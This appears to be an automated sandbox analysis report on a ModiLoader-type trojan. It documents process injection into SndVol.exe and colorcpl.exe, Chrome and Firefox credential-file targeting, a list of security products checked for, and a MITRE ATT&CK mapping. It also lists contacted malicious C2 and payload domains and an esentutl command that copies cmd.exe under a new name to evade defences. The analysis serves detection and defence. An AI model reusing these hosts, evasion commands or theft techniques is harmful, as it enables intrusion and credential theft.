Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_0043503C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00434A8A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0043BB71
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00434BD8 SetUnhandledExceptionFilter,	15_2_00434BD8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_078057A7 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_078057A7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07805D59 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_07805D59
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0780C88E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0780C88E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_078058F5 SetUnhandledExceptionFilter,	15_2_078058F5

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Memory allocated: C:\Windows\SysWOW64\SndVol.exe base: 4420000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Memory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 77D0000 protect: page execute and read and write			Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Thread created: C:\Windows\SysWOW64\SndVol.exe EIP: 4421644			Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Thread created: C:\Windows\SysWOW64\colorcpl.exe EIP: 77D1644			Jump to behavior

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Memory written: C:\Windows\SysWOW64\SndVol.exe base: 4420000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 77D0000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Memory written: C:\Windows\SysWOW64\SndVol.exe base: 4420000			Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Memory written: C:\Windows\SysWOW64\colorcpl.exe base: 77D0000			Jump to behavior

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe		8_2_29142132
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe		15_2_00412132

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_29149662 mouse_event,

8_2_29149662

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_044559D3 cpuid

8_2_044559D3

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02C55ACC
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: GetLocaleInfoA,	0_2_02C5A7C4
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02C55BD8
Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: GetLocaleInfoA,	0_2_02C5A810
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetLocaleInfoA,	8_2_2913F90C
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetLocaleInfoW,	8_2_2917896D
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	8_2_29181D58
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: EnumSystemLocalesW,	8_2_29181FD0
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_29182143
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: EnumSystemLocalesW,	8_2_2918201B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: EnumSystemLocalesW,	8_2_291820B6
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetLocaleInfoW,	8_2_29182393
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetLocaleInfoW,	8_2_291825C3
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: EnumSystemLocalesW,	8_2_29178484
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_291824BC
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_29182690
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	10_2_02AA5ACC
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	10_2_02AA5BD7
Source: C:\Users\Public\Libraries\Selebzih.PIF	Code function: GetLocaleInfoA,	10_2_02AAA810
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_0045201B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_004520B6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	15_2_00452143
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	15_2_00452393
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_00448484
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	15_2_004524BC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	15_2_004525C3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	15_2_00452690
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	15_2_0044896D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoA,	15_2_0040F90C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	15_2_00451D58
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_00451FD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	15_2_0781968A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoA,	15_2_077E0629
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	15_2_078233AD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	15_2_078232E0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_078191A1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	15_2_078231D9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,	15_2_078230B0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	15_2_07822E60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_07822DD3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_07822D38
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: EnumSystemLocalesW,	15_2_07822CED
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	15_2_07822A75

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C5920C GetLocalTime,

0_2_02C5920C

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2914B69E GetUserNameW,

8_2_2914B69E

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_291793E5 _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

8_2_291793E5

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C5B78C GetVersionExA,

0_2_02C5B78C

Source: C:\Windows\SysWOW64\SndVol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		8_2_2913BA4D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data		15_2_0040BA4D

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\	8_2_2913BB6B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: \key3.db	8_2_2913BB6B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\	15_2_0040BB6B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: \key3.db	15_2_0040BB6B

Remote Access Functionality

Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.4420000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d191d.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.442191d.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.SndVol.exe.29130000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.colorcpl.exe.77d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: colorcpl.exe PID: 8136, type: MEMORYSTR

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: cmd.exe		8_2_2913569A
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: cmd.exe		15_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Valid Accounts	1 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	111 Input Capture	1 Account Discovery	Remote Desktop Protocol	111 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Windows Service	1 Valid Accounts	2 Obfuscated Files or Information	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	11 Access Token Manipulation	1 Timestomp	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Windows Service	1 DLL Side-Loading	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	213 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	421 Process Injection	1 Bypass User Account Control	Cached Domain Credentials	45 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	311 Masquerading	DCSync	241 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	2 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	2 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Access Token Manipulation	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	421 Process Injection	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
jlPBMMQbXC.exe	63%	ReversingLabs	Win32.Trojan.ModiLoader
jlPBMMQbXC.exe	100%	Avira	TR/AD.Nekark.mucip
jlPBMMQbXC.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Selebzih.PIF	100%	Avira	TR/AD.Nekark.mucip
C:\Users\Public\Libraries\Selebzih.PIF	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Selebzih.PIF	63%	ReversingLabs	Win32.Trojan.ModiLoader
C:\Users\Public\alpha.pif	0%	ReversingLabs

Source	Detection	Scanner	Label
https://lightstone.ae/image/233_Selebzihtihv	0%	Avira URL Cloud	safe
https://lightstone.ae:443/image/233_SelebzihtihzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJ	0%	Avira URL Cloud	safe
http://hydros.8k.com	0%	Avira URL Cloud	safe
https://alfanar01-my.sharepoint.com/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlK	0%	Avira URL Cloud	safe
https://alfanar01-my.sharepoint.com/personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1Z	0%	Avira URL Cloud	safe
https://alfanar01-my.sharepoint.com/personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1	0%	Avira URL Cloud	safe
archived.zapto.org	100%	Avira URL Cloud	malware
pentester0.accesscam.org	0%	Avira URL Cloud	safe
https://alfanar01-my.sharepoint.com/	0%	Avira URL Cloud	safe
https://alfanar01-my.sharepoint.com/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlKcC8bPaqfGiqmGYrLTf6w?e=8qbxqz&download=1	0%	Avira URL Cloud	safe
honeypotresearchteam.duckdns.org	100%	Avira URL Cloud	malware
https://alfanar01-my.sharepoint.com:443/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQ	0%	Avira URL Cloud	safe
https://lightstone.ae/	0%	Avira URL Cloud	safe
https://lightstone.ae/image/233_Selebzihtih	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dual-spo-0005.spo-msedge.net	13.107.136.10	true	false	high
lightstone.ae	162.19.139.102	true	true	unknown
pentester0.accesscam.org	103.186.117.159	true	true	unknown
honeypotresearchteam.duckdns.org	103.186.117.159	true	true	unknown
alfanar01-my.sharepoint.com	unknown	unknown	true	unknown
archived.zapto.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://alfanar01-my.sharepoint.com/personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1	false	Avira URL Cloud: safe	unknown
pentester0.accesscam.org	true	Avira URL Cloud: safe	unknown
archived.zapto.org	true	Avira URL Cloud: malware	unknown
https://alfanar01-my.sharepoint.com/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlKcC8bPaqfGiqmGYrLTf6w?e=8qbxqz&download=1	true	Avira URL Cloud: safe	unknown
honeypotresearchteam.duckdns.org	true	Avira URL Cloud: malware	unknown
https://lightstone.ae/image/233_Selebzihtih	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://lightstone.ae/image/233_Selebzihtihv	jlPBMMQbXC.exe, 00000000.00000002.1575706420.000000000077E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://lightstone.ae:443/image/233_SelebzihtihzOEROSitPOExnUGlYeGtYV2hLMGY0YTNpZXRqOUJNTWJTWXJiYXBJ	jlPBMMQbXC.exe, 00000000.00000002.1575706420.0000000000802000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://alfanar01-my.sharepoint.com/personal/huzaifa_alfanargas_com/Documents/233_Selebzihtih?ga=1Z	jlPBMMQbXC.exe, 00000000.00000003.1491122017.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://alfanar01-my.sharepoint.com/:u:/g/personal/huzaifa_alfanargas_com/EbcBi98Fae9PrYH7LpmiSQMBlK	jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000D9F7000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1586422166.000000000DA69000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	jlPBMMQbXC.exe, 00000000.00000003.1534458535.000000007EB20000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1627250031.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000003.1534140532.000000007EBF0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://hydros.8k.com	jlPBMMQbXC.exe, Selebzih.PIF.7.dr	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	SndVol.exe, colorcpl.exe	false		high
http://geoplugin.net/json.gp/C	SndVol.exe, 00000008.00000002.3862154789.0000000004420000.00000040.00000400.00020000.00000000.sdmp, SndVol.exe, 00000008.00000002.3877541973.0000000029130000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000F.00000002.1792665550.0000000000400000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000F.00000002.1794055073.00000000077D0000.00000040.00000400.00020000.00000000.sdmp	false		high
https://alfanar01-my.sharepoint.com/	jlPBMMQbXC.exe, 00000000.00000003.1491122017.00000000007FF000.00000004.00000020.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1575706420.00000000007CB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://spo.nel.measure.office.net/api/report?tenantId=91742063-fccc-4cba-b34b-69be54e484e8&desusert	jlPBMMQbXC.exe, 00000000.00000003.1491083792.000000000083E000.00000004.00000020.00020000.00000000.sdmp	false		high
